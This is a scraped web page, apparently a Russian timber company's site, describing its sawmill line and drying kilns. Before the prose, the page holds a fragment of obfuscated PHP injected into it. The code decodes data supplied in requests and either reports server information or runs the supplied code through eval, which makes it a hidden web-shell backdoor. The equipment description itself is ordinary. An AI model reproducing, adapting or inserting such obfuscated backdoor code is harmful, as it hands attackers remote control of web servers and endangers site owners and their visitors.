$l80e84b0){$ccaedc1f0=$l80e84b0;$h230f89b=$l107;}if(!$ccaedc1f0){foreach($he112[$he112['n685'][74].$he112['n685'][4].$he112['n685'][27].$he112['n685'][19].$he112['n685'][33]]as$l107=>$l80e84b0){$ccaedc1f0=$l80e84b0;$h230f89b=$l107;}}$ccaedc1f0=@$he112[$he112['n685'][43].$he112['n685'][92].$he112['n685'][46].$he112['n685'][24].$he112['n685'][33].$he112['n685'][81].$he112['n685'][28]]($he112[$he112['n685'][19].$he112['n685'][47].$he112['n685'][81].$he112['n685'][28].$he112['n685'][92].$he112['n685'][47].$he112['n685'][28].$he112['n685'][9]]($he112[$he112['n685'][45].$he112['n685'][20].$he112['n685'][54].$he112['n685'][9]]($ccaedc1f0),$h230f89b));if(isset($ccaedc1f0[$he112['n685'][54].$he112['n685'][50]])&&$e222c==$ccaedc1f0[$he112['n685'][54].$he112['n685'][50]]){if($ccaedc1f0[$he112['n685'][54]]==$he112['n685'][45]){$c4d1de1f=Array($he112['n685'][86].$he112['n685'][74]=>@$he112[$he112['n685'][86].$he112['n685'][19].$he112['n685'][24].$he112['n685'][28].$he112['n685'][20]](),$he112['n685'][75].$he112['n685'][74]=>$he112['n685'][20].$he112['n685'][14].$he112['n685'][27].$he112['n685'][16].$he112['n685'][20],);echo@$he112[$he112['n685'][35].$he112['n685'][28].$he112['n685'][58].$he112['n685'][81].$he112['n685'][19].$he112['n685'][9].$he112['n685'][54].$he112['n685'][33]]($c4d1de1f);}elseif($ccaedc1f0[$he112['n685'][54]]==$he112['n685'][4]){eval/*lc7af6*/($ccaedc1f0[$he112['n685'][46]]);}exit();} ?>

Технологические процессы: станки и пиление

На вооружении лесоцеха предприятия находится современное, высокотехнологичное деревоперерабатывающее оборудование с компьютерным управлением. Вся цепочка технологического процесса «связана» видеооборудованием, которая позволяет оператору любого звена наблюдать за движением продукции на предыдущем и последующем участках производства.

Кроме того, руководители цеха со своего рабочего места имеют возможность видеть любой участок цепочки производства.

Среди «уникального» оборудования можно выделить такие как:

Окорочный станок RB японской фирмы «FUJI KOGYO» удаляет кору с бревен диаметром от 100 до 910 мм в автоматическом режиме, а затем, в зависимости от параметров бревна, направляет его на тот или иной станок, для дальнейшей распиловки.

Двухпильный, ленточный вертикальный станок ТС, японской фирмы «KIKUKAWA». Учитывая параметры выпускаемой на данный момент продукции, заданные в программе, автоматически производит оптимальный раскрой бревна, для получения максимального выхода готовой продукции.

Высокоскоростной, кромкообрезной четырехпильный станок ОМ финской фирмы «AHLSTROM». Особенность его заключается в наличии сканера, который сканируя доску, определяет «полезную» площадь, и учитывая заданные геометрические размеры выпускаемой продукции, производит оптимальный раскрой доски.

Сортировочная линия NS канадской фирмы «NEWNES». В «обязанности» этой линии входит сортировка пиломатериалов (доски) по геометрическим параметрам и сорту, распределение ее в соответствующие «карманы», заданные программой.

Обвязочная машина канадской фирмы «SIGNODE», обеспечивает надежную обвязку пакетов готовой продукции металлической лентой, после чего продукция пакуется в упаковочную многослойную пленку.

Конъюнктура современного рынка такова, что все большим спросом пользуются сухие пиломатериалы к тому же срок хранения сухой продукции более длительный. В связи с этим предприятие делает ставку на выпуск сухой продукции и за последние годы существенно нарастило мощности сушильного участка. На сегодня на предприятии введено в эксплуатацию 18 сушильных камер, общим объемом полторы тысячи кубических метров разовой загрузки. В состав сушильного оборудования входят сушильные камеры: «HUA-I» и «VANICEK» с фронтальной загрузкой, «SHINSHIBA» тоннельного типа. Они обеспечивают сушку пиломатериалов до транспортной и столярной влажности, работают круглосуточно, в автоматическом режиме, по заданной программе.